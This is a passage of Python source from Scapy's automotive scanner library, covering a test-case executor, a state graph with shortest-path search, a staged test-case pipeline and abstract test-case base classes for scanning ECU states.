default_test_case_clss(self):\n        # type: () -> List[Type[AutomotiveTestCaseABC]]\n        raise NotImplementedError()\n\n    @property\n    def state_graph(self):\n        # type: () -> Graph\n        return self.configuration.state_graph\n\n    @property\n    def state_paths(self):\n        # type: () -> List[List[EcuState]]\n        \"\"\"\n        Returns all state paths. A path is represented by a list of EcuState\n        objects.\n        :return: A list of paths.\n        \"\"\"\n        paths = [Graph.dijkstra(self.state_graph, self._initial_ecu_state, s)\n                 for s in self.state_graph.nodes\n                 if s != self._initial_ecu_state]\n        return sorted(\n            [p for p in paths if p] + [[self._initial_ecu_state]],\n            key=lambda x: x[-1])\n\n    @property\n    def final_states(self):\n        # type: () -> List[EcuState]\n        \"\"\"\n        Returns a list with all final states. A final state is the last\n        state of a path.\n        :return:\n        \"\"\"\n        return [p[-1] for p in self.state_paths]\n\n    @property\n    def scan_completed(self):\n        # type: () -> bool\n        return all(t.has_completed(s) for t, s in\n                   product(self.configuration.test_cases, self.final_states))\n\n    def reset_target(self):\n        # type: () -> None\n        log_automotive.info(\"Target reset\")\n        if self.reset_handler:\n            self.reset_handler()\n        elif self.software_reset_handler:\n            if self.socket and self.socket.closed:\n                self.reconnect()\n            if self.socket:\n                self.software_reset_handler(self.socket)\n        self.target_state = self._initial_ecu_state\n\n    def reconnect(self):\n        # type: () -> None\n        if not self.reconnect_handler:\n            return\n\n        try:\n            if self.socket:\n                self.socket.close()\n        except Exception as e:\n            log_automotive.exception(\n                \"Exception '%s' during socket.close\", e)\n\n        log_automotive.info(\"Target reconnect\")\n        socket = self.reconnect_handler()\n        self.socket = socket if isinstance(socket, SingleConversationSocket) \\\n            else SingleConversationSocket(socket)\n\n        if self.socket and self.socket.closed:\n            raise Scapy_Exception(\n                \"Socket closed even after reconnect. Stop scan!\")\n\n    def execute_test_case(self, test_case, kill_time=None):\n        # type: (AutomotiveTestCaseABC, Optional[float]) -> None\n        \"\"\"\n        This function ensures the correct execution of a testcase, including\n        the pre_execute, execute and post_execute.\n        Finally, the testcase is asked if a new edge or a new testcase was\n        generated.\n\n        :param test_case: A test case to be executed\n        :param kill_time: If set, this defines the maximum execution time for\n                          the current test_case\n        :return: None\n        \"\"\"\n\n        if not self.socket:\n            log_automotive.warning(\"Socket is None! Leaving execute_test_case\")\n            return\n\n        test_case.pre_execute(\n            self.socket, self.target_state, self.configuration)\n\n        try:\n            test_case_kwargs = self.configuration[test_case.__class__.__name__]\n        except KeyError:\n            test_case_kwargs = dict()\n\n        if kill_time:\n            max_execution_time = max(int(kill_time - time.monotonic()), 5)\n            cur_execution_time = test_case_kwargs.get(\"execution_time\", 1200)\n            test_case_kwargs[\"execution_time\"] = min(max_execution_time,\n                                                     cur_execution_time)\n\n        log_automotive.debug(\"Execute test_case %s with args %s\",\n                             test_case.__class__.__name__, test_case_kwargs)\n\n        test_case.execute(self.socket, self.target_state, **test_case_kwargs)\n        test_case.post_execute(\n            self.socket, self.target_state, self.configuration)\n\n        self.check_new_states(test_case)\n        self.check_new_testcases(test_case)\n\n        if hasattr(test_case, \"runtime_estimation\"):\n            estimation = test_case.runtime_estimation()\n            if estimation is not None:\n                log_automotive.debug(\n                    \"[i] Test_case %s: TODO %d, \"\n                    \"DONE %d, TOTAL %0.2f\",\n                    test_case.__class__.__name__, estimation[0],\n                    estimation[1], estimation[2])\n\n    def check_new_testcases(self, test_case):\n        # type: (AutomotiveTestCaseABC) -> None\n        if isinstance(test_case, TestCaseGenerator):\n            new_test_case = test_case.get_generated_test_case()\n            if new_test_case:\n                log_automotive.debug(\"Testcase generated %s\", new_test_case)\n                self.configuration.add_test_case(new_test_case)\n\n    def check_new_states(self, test_case):\n        # type: (AutomotiveTestCaseABC) -> None\n        if not self.socket:\n            log_automotive.warning(\"Socket is None! Leaving check_new_states\")\n            return\n\n        if isinstance(test_case, StateGenerator):\n            edge = test_case.get_new_edge(self.socket, self.configuration)\n            if edge:\n                log_automotive.debug(\"Edge found %s\", edge)\n                tf = test_case.get_transition_function(self.socket, edge)\n                self.state_graph.add_edge(edge, tf)\n\n    def validate_test_case_kwargs(self):\n        # type: () -> None\n        for test_case in self.configuration.test_cases:\n            if isinstance(test_case, AutomotiveTestCase):\n                test_case_kwargs = self.configuration[test_case.__class__.__name__]\n                test_case.check_kwargs(test_case_kwargs)\n\n    def stop_scan(self):\n        # type: () -> None\n        self.configuration.stop_event.set()\n        log_automotive.debug(\"Internal stop event set!\")\n\n    def progress(self):\n        # type: () -> float\n        progress = []\n        for tc in self.configuration.test_cases:\n            if not hasattr(tc, \"runtime_estimation\"):\n                continue\n            est = tc.runtime_estimation()\n            if est is None:\n                continue\n            progress.append(est[2])\n\n        return sum(progress) / len(progress) if len(progress) else 0.0\n\n    def scan(self, timeout=None):\n        # type: (Optional[int]) -> None\n        \"\"\"\n        Executes all testcases for a given time.\n        :param timeout: Time for execution.\n        :return: None\n        \"\"\"\n        self.configuration.stop_event.clear()\n        if timeout is None:\n            kill_time = None\n        else:\n            kill_time = time.monotonic() + timeout\n        while True:\n            terminate = kill_time and kill_time <= time.monotonic()\n            if terminate:\n                log_automotive.debug(\n                    \"Execution time exceeded. Terminating scan!\")\n                return\n            test_case_executed = False\n            log_automotive.info(\"[i] Scan progress %0.2f\", self.progress())\n            log_automotive.debug(\"[i] Scan paths %s\", self.state_paths)\n            for p, test_case in product(\n                    self.state_paths, self.configuration.test_cases):\n                log_automotive.info(\"Scan path %s\", p)\n                terminate = kill_time and kill_time <= time.monotonic()\n                if terminate or self.configuration.stop_event.is_set():\n                    log_automotive.debug(\n                        \"Execution time exceeded. Terminating scan!\")\n                    break\n\n                final_state = p[-1]\n                if test_case.has_completed(final_state):\n                    log_automotive.debug(\"State %s for %s completed\",\n                                         repr(final_state), test_case)\n                    continue\n\n                try:\n                    if not self.enter_state_path(p):\n                        log_automotive.error(\n                            \"Error entering path %s\", p)\n                        continue\n                    log_automotive.info(\n                        \"Execute %s for path %s\", str(test_case), p)\n                    self.execute_test_case(test_case, kill_time)\n                    test_case_executed = True\n                except (OSError, ValueError, Scapy_Exception) as e:\n                    log_automotive.exception(\"Exception: %s\", e)\n                    if self.configuration.debug:\n                        raise e\n                    if isinstance(e, OSError):\n                        log_automotive.exception(\n                            \"OSError occurred, closing socket\")\n                        if self.socket:\n                            self.socket.close()\n                    if (self.socket\n                            and cast(SuperSocket, self.socket).closed\n                            and self.reconnect_handler is None):\n                        log_automotive.critical(\n                            \"Socket went down. Need to leave scan\")\n                        raise e\n                finally:\n                    self.cleanup_state()\n\n            if not test_case_executed:\n                log_automotive.info(\n                    \"Execute failure or scan completed. Exit scan!\")\n                break\n\n        self.cleanup_state()\n        self.reset_target()\n\n    def enter_state_path(self, path):\n        # type: (List[EcuState]) -> bool\n        \"\"\"\n        Resets and reconnects to a target and applies all transition functions\n        to traversal a given path.\n        :param path: Path to be applied to the scan target.\n        :return: True, if all transition functions could be executed.\n        \"\"\"\n        if path[0] != self._initial_ecu_state:\n            raise Scapy_Exception(\n                \"Initial state of path not equal reset state of the target\")\n\n        self.reset_target()\n        self.reconnect()\n\n        if len(path) == 1:\n            return True\n\n        for next_state in path[1:]:\n            if self.configuration.stop_event.is_set():\n                self.cleanup_state()\n                return False\n\n            edge = (self.target_state, next_state)\n            self.configuration.stop_event.wait(\n                timeout=self.configuration.delay_enter_state)\n            if not self.enter_state(*edge):\n                self.state_graph.downrate_edge(edge)\n                self.cleanup_state()\n                return False\n        return True\n\n    def enter_state(self, prev_state, next_state):\n        # type: (EcuState, EcuState) -> bool\n        \"\"\"\n        Obtains a transition function from the system state graph and executes\n        it. On success, the cleanup function is added for a later cleanup of\n        the new state.\n        :param prev_state: Current state\n        :param next_state: Desired state\n        :return: True, if state could be changed successful\n        \"\"\"\n        if not self.socket:\n            log_automotive.warning(\"Socket is None! Leaving enter_state\")\n            return False\n\n        edge = (prev_state, next_state)\n        funcs = self.state_graph.get_transition_tuple_for_edge(edge)\n\n        if funcs is None:\n            log_automotive.error(\"No transition function for %s\", edge)\n            return False\n\n        trans_func, trans_kwargs, clean_func = funcs\n        state_changed = trans_func(\n            self.socket, self.configuration, trans_kwargs)\n\n        if self.socket.closed:\n            for i in range(5):\n                try:\n                    self.reconnect()\n                    break\n                except Exception:\n                    if i == 4:\n                        raise\n                    if self.configuration.stop_event:\n                        self.configuration.stop_event.wait(1)\n                    else:\n                        time.sleep(1)\n\n        if state_changed:\n            self.target_state = next_state\n\n            if clean_func is not None:\n                self.cleanup_functions += [clean_func]\n            return True\n        else:\n            log_automotive.info(\"Transition for edge %s failed\", edge)\n            return False\n\n    def cleanup_state(self):\n        # type: () -> None\n        \"\"\"\n        Executes all collected cleanup functions from a traversed path\n        :return: None\n        \"\"\"\n        for f in self.cleanup_functions:\n            if not callable(f):\n                continue\n            try:\n                if not f(self.socket, self.configuration):  # type: ignore\n                    log_automotive.info(\n                        \"Cleanup function %s failed\", repr(f))\n            except (OSError, ValueError, Scapy_Exception) as e:\n                log_automotive.critical(\"Exception during cleanup: %s\", e)\n\n        self.cleanup_functions = list()\n\n    def show_testcases(self):\n        # type: () -> None\n        for t in self.configuration.test_cases:\n            t.show()\n\n    def show_testcases_status(self):\n        # type: () -> None\n        data = list()\n        for t in self.configuration.test_cases:\n            for s in self.state_graph.nodes:\n                data += [(repr(s), t.__class__.__name__, t.has_completed(s))]\n        make_lined_table(data, lambda *tup: (tup[0], tup[1], tup[2]))\n\n    def get_test_cases_by_class(self, cls):\n        # type: (Type[T]) -> List[T]\n        return [x for x in self.configuration.test_cases if isinstance(x, cls)]\n\n    @property\n    def supported_responses(self):\n        # type: () -> List[EcuResponse]\n        \"\"\"\n        Returns a sorted list of supported responses, gathered from all\n        enumerators. The sort is done in a way\n        to provide the best possible results, if this list of supported\n        responses is used to simulate an real world Ecu with the\n        EcuAnsweringMachine object.\n        :return: A sorted list of EcuResponse objects\n        \"\"\"\n        supported_responses = list()\n        for tc in self.configuration.test_cases:\n            supported_responses += tc.supported_responses\n\n        supported_responses.sort(key=Ecu.sort_key_func)\n        return supported_responses\n"
  },
  {
    "path": "scapy/contrib/automotive/scanner/graph.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = Graph library for AutomotiveTestCaseExecutor\n# scapy.contrib.status = library\n\nfrom collections import defaultdict\n\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.ecu import EcuState\n\n# Typing imports\nfrom typing import (\n    Union,\n    List,\n    Optional,\n    Dict,\n    Tuple,\n    Set,\n    TYPE_CHECKING,\n)\n\n_Edge = Tuple[EcuState, EcuState]\n\nif TYPE_CHECKING:\n    from scapy.contrib.automotive.scanner.test_case import _TransitionTuple\n\n\nclass Graph(object):\n    \"\"\"\n    Helper object to store a directional Graph of EcuState objects. An edge in\n    this Graph is defined as Tuple of two EcuStates. A node is defined as\n    EcuState.\n\n    self.edges is a dict of all possible next nodes\n    e.g. {'X': ['A', 'B', 'C', 'E'], ...}\n\n    self.__transition_functions has all the transition_functions between\n    two nodes, with the two nodes as a tuple as the key\n    e.g. {('X', 'A'): 7, ('X', 'B'): 2, ...}\n    \"\"\"\n    def __init__(self):\n        # type: () -> None\n        self.edges = defaultdict(list)  # type: Dict[EcuState, List[EcuState]]\n        self.__transition_functions = {}  # type: Dict[_Edge, Optional[\"_TransitionTuple\"]]  # noqa: E501\n        self.weights = {}  # type: Dict[_Edge, int]\n\n    def add_edge(self, edge, transition_function=None):\n        # type: (_Edge, Optional[\"_TransitionTuple\"]) -> None\n        \"\"\"\n        Inserts new edge in directional graph\n        :param edge: edge from node to node\n        :param transition_function: tuple with enter and cleanup function\n        \"\"\"\n        if edge[1] in self.edges[edge[0]]:\n            # Edge already exists\n            return\n        self.edges[edge[0]].append(edge[1])\n        self.weights[edge] = 1\n        self.__transition_functions[edge] = transition_function\n\n    def get_transition_tuple_for_edge(self, edge):\n        # type: (_Edge) -> Optional[\"_TransitionTuple\"]  # noqa: E501\n        \"\"\"\n        Returns a TransitionTuple for an Edge, if available.\n        :param edge: Tuple of EcuStates\n        :return: According TransitionTuple or None\n        \"\"\"\n        return self.__transition_functions.get(edge, None)\n\n    def downrate_edge(self, edge):\n        # type: (_Edge) -> None\n        \"\"\"\n        Increases the weight of an Edge\n        :param edge: Edge on which the weight has t obe increased\n        \"\"\"\n        try:\n            self.weights[edge] += 1\n        except KeyError:\n            pass\n\n    @property\n    def transition_functions(self):\n        # type: () -> Dict[_Edge, Optional[\"_TransitionTuple\"]]\n        \"\"\"\n        Get the dict of all TransistionTuples\n        :return:\n        \"\"\"\n        return self.__transition_functions\n\n    @property\n    def nodes(self):\n        # type: () -> Union[List[EcuState], Set[EcuState]]\n        \"\"\"\n        Get a set of all nodes in this Graph\n        :return:\n        \"\"\"\n        return set([n for k, p in self.edges.items() for n in p + [k]])\n\n    def render(self, filename=\"SystemStateGraph.gv\", view=True):\n        # type: (str, bool) -> None\n        \"\"\"\n        Renders this Graph as PDF, if `graphviz` is installed.\n\n        :param filename: A filename for the rendered PDF.\n        :param view: If True, rendered file will be opened.\n        \"\"\"\n        try:\n            from graphviz import Digraph\n        except ImportError:\n            log_automotive.info(\"Please install graphviz.\")\n            return\n\n        ps = Digraph(name=\"SystemStateGraph\",\n                     node_attr={\"fillcolor\": \"lightgrey\",\n                                \"style\": \"filled\",\n                                \"shape\": \"box\"},\n                     graph_attr={\"concentrate\": \"true\"})\n        for n in self.nodes:\n            ps.node(str(n))\n\n        for e, f in self.__transition_functions.items():\n            try:\n                desc = \"\" if f is None else f[1][\"desc\"]\n            except (AttributeError, KeyError):\n                desc = \"\"\n            ps.edge(str(e[0]), str(e[1]), label=desc)\n\n        ps.render(filename, view=view)\n\n    @staticmethod\n    def dijkstra(graph, initial, end):\n        # type: (Graph, EcuState, EcuState) -> List[EcuState]\n        \"\"\"\n        Compute shortest paths from initial to end in graph\n        Partly from https://benalexkeen.com/implementing-djikstras-shortest-path-algorithm-with-python/  # noqa: E501\n        :param graph: Graph where path is computed\n        :param initial: Start node\n        :param end: End node\n        :return: A path as list of nodes\n        \"\"\"\n        shortest_paths = {initial: (None, 0)}  # type: Dict[EcuState, Tuple[Optional[EcuState], int]]  # noqa: E501\n        current_node = initial\n        visited = set()\n\n        while current_node != end:\n            visited.add(current_node)\n            destinations = graph.edges[current_node]\n            weight_to_current_node = shortest_paths[current_node][1]\n\n            for next_node in destinations:\n                weight = graph.weights[(current_node, next_node)] + \\\n                    weight_to_current_node\n                if next_node not in shortest_paths:\n                    shortest_paths[next_node] = (current_node, weight)\n                else:\n                    current_shortest_weight = shortest_paths[next_node][1]\n                    if current_shortest_weight > weight:\n                        shortest_paths[next_node] = (current_node, weight)\n\n            next_destinations = {node: shortest_paths[node] for node in\n                                 shortest_paths if node not in visited}\n            if not next_destinations:\n                return []\n            # next node is the destination with the lowest weight\n            current_node = min(next_destinations,\n                               key=lambda k: next_destinations[k][1])\n\n        # Work back through destinations in shortest path\n        last_node = shortest_paths[current_node][0]\n        path = [current_node]\n        while last_node is not None:\n            path.append(last_node)\n            last_node = shortest_paths[last_node][0]\n        # Reverse path\n        path.reverse()\n        return path\n"
  },
  {
    "path": "scapy/contrib/automotive/scanner/staged_test_case.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = Staged AutomotiveTestCase base classes\n# scapy.contrib.status = library\n\n\nfrom scapy.contrib.automotive import log_automotive\nfrom scapy.contrib.automotive.scanner.graph import _Edge\nfrom scapy.contrib.automotive.ecu import EcuState, EcuResponse, Ecu\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCaseABC, \\\n    TestCaseGenerator, StateGenerator, _SocketUnion\n\n# Typing imports\nfrom typing import (\n    Any,\n    List,\n    Optional,\n    Dict,\n    Callable,\n    cast,\n    Tuple,\n    TYPE_CHECKING,\n)\nif TYPE_CHECKING:\n    from scapy.contrib.automotive.scanner.test_case import _TransitionTuple\n    from scapy.contrib.automotive.scanner.configuration import \\\n        AutomotiveTestCaseExecutorConfiguration\n\n# type definitions\n_TestCaseConnectorCallable = \\\n    Callable[[AutomotiveTestCaseABC, AutomotiveTestCaseABC], Dict[str, Any]]\n\n\nclass StagedAutomotiveTestCase(AutomotiveTestCaseABC, TestCaseGenerator, StateGenerator):  # noqa: E501\n    \"\"\" Helper object to build a pipeline of TestCases. This allows to combine\n    TestCases and to execute them after each other. Custom connector functions\n    can be used to exchange and manipulate the configuration of a subsequent\n    TestCase.\n\n    :param test_cases: A list of objects following the AutomotiveTestCaseABC\n        interface\n    :param connectors: A list of connector functions. A connector function\n        takes two TestCase objects and returns a dictionary which is provided\n        to the second TestCase as kwargs of the execute function.\n\n\n    Example:\n        >>> class MyTestCase2(AutomotiveTestCaseABC):\n        >>>     pass\n        >>>\n        >>> class MyTestCase1(AutomotiveTestCaseABC):\n        >>>     pass\n        >>>\n        >>> def connector(testcase1, testcase2):\n        >>>     scan_range = len(testcase1.results)\n        >>>     return {\"verbose\": True, \"scan_range\": scan_range}\n        >>>\n        >>> tc1 = MyTestCase1()\n        >>> tc2 = MyTestCase2()\n        >>> pipeline = StagedAutomotiveTestCase([tc1, tc2], [None, connector])\n    \"\"\"\n\n    # Delay the increment of a stage after the current stage is finished\n    # has_completed() has to be called five times in order to increment the\n    # current stage. This ensures, that the current stage is executed for\n    # all possible states of the DUT, and no state is missed for the first\n    # TestCase.\n    __delay_stages = 5\n\n    def __init__(self,\n                 test_cases,  # type: List[AutomotiveTestCaseABC]\n                 connectors=None  # type: Optional[List[Optional[_TestCaseConnectorCallable]]]  # noqa: E501\n                 ):  # type: (...) -> None\n        super(StagedAutomotiveTestCase, self).__init__()\n        self.__test_cases = test_cases\n        self.__connectors = connectors\n        self.__stage_index = 0\n        self.__completion_delay = 0\n        self.__current_kwargs = None  # type: Optional[Dict[str, Any]]\n\n    def __getitem__(self, item):\n        # type: (int) -> AutomotiveTestCaseABC\n        return self.__test_cases[item]\n\n    def __len__(self):\n        # type: () -> int\n        return len(self.__test_cases)\n\n    # TODO: Fix unit tests and remove this function\n    def __reduce__(self):  # type: ignore\n        f, t, d = super(StagedAutomotiveTestCase, self).__reduce__()  # type: ignore  # noqa: E501\n        try:\n            del d[\"_StagedAutomotiveTestCase__connectors\"]\n        except KeyError:\n            pass\n        return f, t, d\n\n    @property\n    def test_cases(self):\n        # type: () -> List[AutomotiveTestCaseABC]\n        return self.__test_cases\n\n    @property\n    def current_test_case(self):\n        # type: () -> AutomotiveTestCaseABC\n        return self[self.__stage_index]\n\n    @property\n    def current_connector(self):\n        # type: () -> Optional[_TestCaseConnectorCallable]\n        if not self.__connectors:\n            return None\n        else:\n            return self.__connectors[self.__stage_index]\n\n    @property\n    def previous_test_case(self):\n        # type: () -> Optional[AutomotiveTestCaseABC]\n        return self.__test_cases[self.__stage_index - 1] if \\\n            self.__stage_index > 0 else None\n\n    def get_generated_test_case(self):\n        # type: () -> Optional[AutomotiveTestCaseABC]\n        try:\n            test_case = cast(TestCaseGenerator, self.current_test_case)\n            return test_case.get_generated_test_case()\n        except AttributeError:\n            return None\n\n    def get_new_edge(self,\n                     socket,  # type: _SocketUnion\n                     config  # type: AutomotiveTestCaseExecutorConfiguration\n                     ):  # type: (...) -> Optional[_Edge]\n        try:\n            test_case = cast(StateGenerator, self.current_test_case)\n            return test_case.get_new_edge(socket, config)\n        except AttributeError:\n            return None\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        try:\n            test_case = cast(StateGenerator, self.current_test_case)\n            return test_case.get_transition_function(socket, edge)\n        except AttributeError:\n            return None\n\n    def has_completed(self, state):\n        # type: (EcuState) -> bool\n        if not (self.current_test_case.has_completed(state) and\n                self.current_test_case.completed):\n            # current test_case not fully completed\n            # reset completion delay, since new states could have been appeared\n            self.__completion_delay = 0\n            return False\n\n        # current stage is finished. We have to increase the stage\n        if self.__completion_delay < StagedAutomotiveTestCase.__delay_stages:\n            # First we wait five more iteration of the executor\n            # Maybe one more execution reveals new states of other\n            # test_cases\n            self.__completion_delay += 1\n            return False\n\n        # current test_case is fully completed\n        elif self.__stage_index == len(self.__test_cases) - 1:\n            # this test_case was the last test_case... nothing to do\n            return True\n\n        else:\n            # We waited more iterations and no new state appeared,\n            # let's enter the next stage\n            log_automotive.info(\n                \"Staged AutomotiveTestCase %s completed\",\n                self.current_test_case.__class__.__name__)\n            self.__stage_index += 1\n            self.__completion_delay = 0\n        return False\n\n    def pre_execute(self,\n                    socket,  # type: _SocketUnion\n                    state,  # type: EcuState\n                    global_configuration  # type: AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n                    ):  # type: (...) -> None\n        test_case_cls = self.current_test_case.__class__\n        try:\n            self.__current_kwargs = global_configuration[\n                test_case_cls.__name__]\n        except KeyError:\n            self.__current_kwargs = dict()\n            global_configuration[test_case_cls.__name__] = \\\n                self.__current_kwargs\n\n        if callable(self.current_connector) and self.__stage_index > 0:\n            if self.previous_test_case:\n                con = self.current_connector  # type: _TestCaseConnectorCallable  # noqa: E501\n                con_kwargs = con(self.previous_test_case,\n                                 self.current_test_case)\n                if self.__current_kwargs is not None and con_kwargs is not None:  # noqa: E501\n                    self.__current_kwargs.update(con_kwargs)\n\n        log_automotive.debug(\"Stage AutomotiveTestCase %s kwargs: %s\",\n                             self.current_test_case.__class__.__name__,\n                             self.__current_kwargs)\n\n        self.current_test_case.pre_execute(socket, state, global_configuration)\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        kwargs.update(self.__current_kwargs or dict())\n        self.current_test_case.execute(socket, state, **kwargs)\n\n    def post_execute(self,\n                     socket,  # type: _SocketUnion\n                     state,  # type: EcuState\n                     global_configuration  # type: AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n                     ):  # type: (...) -> None\n        self.current_test_case.post_execute(\n            socket, state, global_configuration)\n\n    @staticmethod\n    def _show_headline(headline, sep=\"=\"):\n        # type: (str, str) -> str\n        s = \"\\n\\n\" + sep * (len(headline) + 10) + \"\\n\"\n        s += \" \" * 5 + headline + \"\\n\"\n        s += sep * (len(headline) + 10) + \"\\n\"\n        return s + \"\\n\"\n\n    def show(self, dump=False, filtered=True, verbose=False):\n        # type: (bool, bool, bool) -> Optional[str]\n        s = self._show_headline(\"AutomotiveTestCase Pipeline\", \"=\")\n        for idx, t in enumerate(self.__test_cases):\n            s += self._show_headline(\n                \"AutomotiveTestCase Stage %d\" % idx, \"-\")\n            s += t.show(True, filtered, verbose) or \"\"\n\n        if dump:\n            return s + \"\\n\"\n        else:\n            print(s)\n            return None\n\n    @property\n    def completed(self):\n        # type: () -> bool\n        return all(e.completed for e in self.__test_cases) and \\\n            self.__completion_delay >= StagedAutomotiveTestCase.__delay_stages\n\n    @property\n    def supported_responses(self):\n        # type: () -> List[EcuResponse]\n        supported_responses = list()\n        for tc in self.test_cases:\n            supported_responses += tc.supported_responses\n\n        supported_responses.sort(key=Ecu.sort_key_func)\n        return supported_responses\n\n    def runtime_estimation(self):\n        # type: () -> Optional[Tuple[int, int, float]]\n\n        if hasattr(self.current_test_case, \"runtime_estimation\"):\n            cur_est = self.current_test_case.runtime_estimation()\n            if cur_est:\n                return len(self.test_cases), \\\n                    self.__stage_index, \\\n                    float(self.__stage_index) / len(self.test_cases) + \\\n                    cur_est[2] / len(self.test_cases)\n\n        return len(self.test_cases), \\\n            self.__stage_index, \\\n            float(self.__stage_index) / len(self.test_cases)\n"
  },
  {
    "path": "scapy/contrib/automotive/scanner/test_case.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = TestCase base class definitions\n# scapy.contrib.status = library\n\n\nimport abc\nfrom collections import defaultdict\n\nfrom scapy.utils import make_lined_table, SingleConversationSocket\nfrom scapy.supersocket import SuperSocket\nfrom scapy.contrib.automotive.scanner.graph import _Edge\nfrom scapy.contrib.automotive.ecu import EcuState, EcuResponse\nfrom scapy.error import Scapy_Exception\n\n\n# Typing imports\nfrom typing import (\n    Any,\n    Union,\n    List,\n    Optional,\n    Dict,\n    Tuple,\n    Set,\n    Callable,\n    TYPE_CHECKING,\n)\nif TYPE_CHECKING:\n    from scapy.contrib.automotive.scanner.configuration import AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n\n\n# type definitions\n_SocketUnion = Union[SuperSocket, SingleConversationSocket]\n_TransitionCallable = Callable[[_SocketUnion, \"AutomotiveTestCaseExecutorConfiguration\", Dict[str, Any]], bool]  # noqa: E501\n_CleanupCallable = Callable[[_SocketUnion, \"AutomotiveTestCaseExecutorConfiguration\"], bool]  # noqa: E501\n_TransitionTuple = Tuple[_TransitionCallable, Dict[str, Any], Optional[_CleanupCallable]]  # noqa: E501\n\n\nclass AutomotiveTestCaseABC(metaclass=abc.ABCMeta):\n    \"\"\"\n    Base class for \"TestCase\" objects. In automotive scanners, these TestCase\n    objects are used for individual tasks, for example enumerating over one\n    kind of functionality of the protocol. It is also possible, that\n    these TestCase objects execute complex tests on an ECU.\n    The TestCaseExecuter object has a list of TestCases. The executer\n    manipulates a device under test (DUT), to enter a certain state. In this\n    state, the TestCase object gets executed.\n    \"\"\"\n\n    _supported_kwargs = {}  # type: Dict[str, Tuple[Any, Optional[Callable[[Any], bool]]]]  # noqa: E501\n    _supported_kwargs_doc = \"\"\n\n    @abc.abstractmethod\n    def has_completed(self, state):\n        # type: (EcuState) -> bool\n        \"\"\"\n        Tells if this TestCase was executed for a certain state\n        :param state: State of interest\n        :return: True, if TestCase was executed in the questioned state\n        \"\"\"\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def pre_execute(self,\n                    socket,  # type: _SocketUnion\n                    state,  # type: EcuState\n                    global_configuration  # type: AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n                    ):  # type: (...) -> None\n        \"\"\"\n        Will be executed previously to ``execute``. This function can be used\n        to manipulate the configuration passed to execute.\n\n        :param socket: Socket object with the connection to a DUT\n        :param state: Current state of the DUT\n        :param global_configuration: Configuration of the TestCaseExecutor\n        \"\"\"\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        \"\"\"\n        Executes this TestCase for a given state\n\n        :param socket: Socket object with the connection to a DUT\n        :param state: Current state of the DUT\n        :param kwargs: Local configuration of the TestCasesExecutor\n        :return:\n        \"\"\"\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def post_execute(self,\n                     socket,  # type: _SocketUnion\n                     state,  # type: EcuState\n                     global_configuration  # type: AutomotiveTestCaseExecutorConfiguration  # noqa: E501\n                     ):  # type: (...) -> None\n        \"\"\"\n        Will be executed subsequently to ``execute``. This function can be used\n        for additional evaluations after the ``execute``.\n\n        :param socket: Socket object with the connection to a DUT\n        :param state: Current state of the DUT\n        :param global_configuration: Configuration of the TestCaseExecutor\n        \"\"\"\n        raise NotImplementedError()\n\n    @abc.abstractmethod\n    def show(self, dump=False, filtered=True, verbose=False):\n        # type: (bool, bool, bool) -> Optional[str]\n        \"\"\"\n        Shows results of TestCase\n\n        :param dump: If True, the results will be returned; If False, the\n                     results will be printed.\n        :param filtered: If True, the negative responses will be filtered\n                         dynamically.\n        :param verbose: If True, additional information will be provided.\n        :return: test results of TestCase if parameter ``dump`` is True,\n                 else ``None``\n        \"\"\"\n        raise NotImplementedError()\n\n    @property\n    @abc.abstractmethod\n    def completed(self):\n        # type: () -> bool\n        \"\"\"\n        Tells if this TestCase is completely executed\n        :return: True, if TestCase is completely executed\n        \"\"\"\n        raise NotImplementedError\n\n    @property\n    @abc.abstractmethod\n    def supported_responses(self):\n        # type: () -> List[EcuResponse]\n        \"\"\"\n        Tells the supported responses in TestCase\n        :return: The list of supported responses\n        \"\"\"\n        raise NotImplementedError\n\n\nclass AutomotiveTestCase(AutomotiveTestCaseABC):\n    \"\"\" Base class for TestCases\"\"\"\n\n    _description = \"AutomotiveTestCase\"\n    _supported_kwargs = AutomotiveTestCaseABC._supported_kwargs\n    _supported_kwargs_doc = AutomotiveTestCaseABC._supported_kwargs_doc\n\n    def __init__(self):\n        # type: () -> None\n        self._state_completed = defaultdict(bool)  # type: Dict[EcuState, bool]\n\n    def has_completed(self, state):\n        # type: (EcuState) -> bool\n        return self._state_completed[state]\n\n    @classmethod\n    def check_kwargs(cls, kwargs):\n        # type: (Dict[str, Any]) -> None\n        for k, v in kwargs.items():\n            if k not in cls._supported_kwargs.keys():\n                raise Scapy_Exception(\n                    \"Keyword-Argument %s not supported for %s\" %\n                    (k, cls.__name__))\n            ti, vf = cls._supported_kwargs[k]\n            if ti is not None and not isinstance(v, ti):\n                raise Scapy_Exception(\n                    \"Keyword-Value '%s' is not instance of type %s\" %\n                    (k, str(ti)))\n            if vf is not None and not vf(v):\n                raise Scapy_Exception(\n                    \"Validation Error: '%s: %s' is not in the allowed \"\n                    \"value range\" % (k, str(v))\n                )\n\n    @property\n    def completed(self):\n        # type: () -> bool\n        return all(v for _, v in self._state_completed.items())\n\n    @property\n    def scanned_states(self):\n        # type: () -> Set[EcuState]\n        \"\"\"\n        Helper function to get all scanned states\n        :return: all scanned states\n        \"\"\"\n        return set(self._state_completed.keys())\n\n    def pre_execute(self, socket, state, global_configuration):\n        # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None  # noqa: E501\n        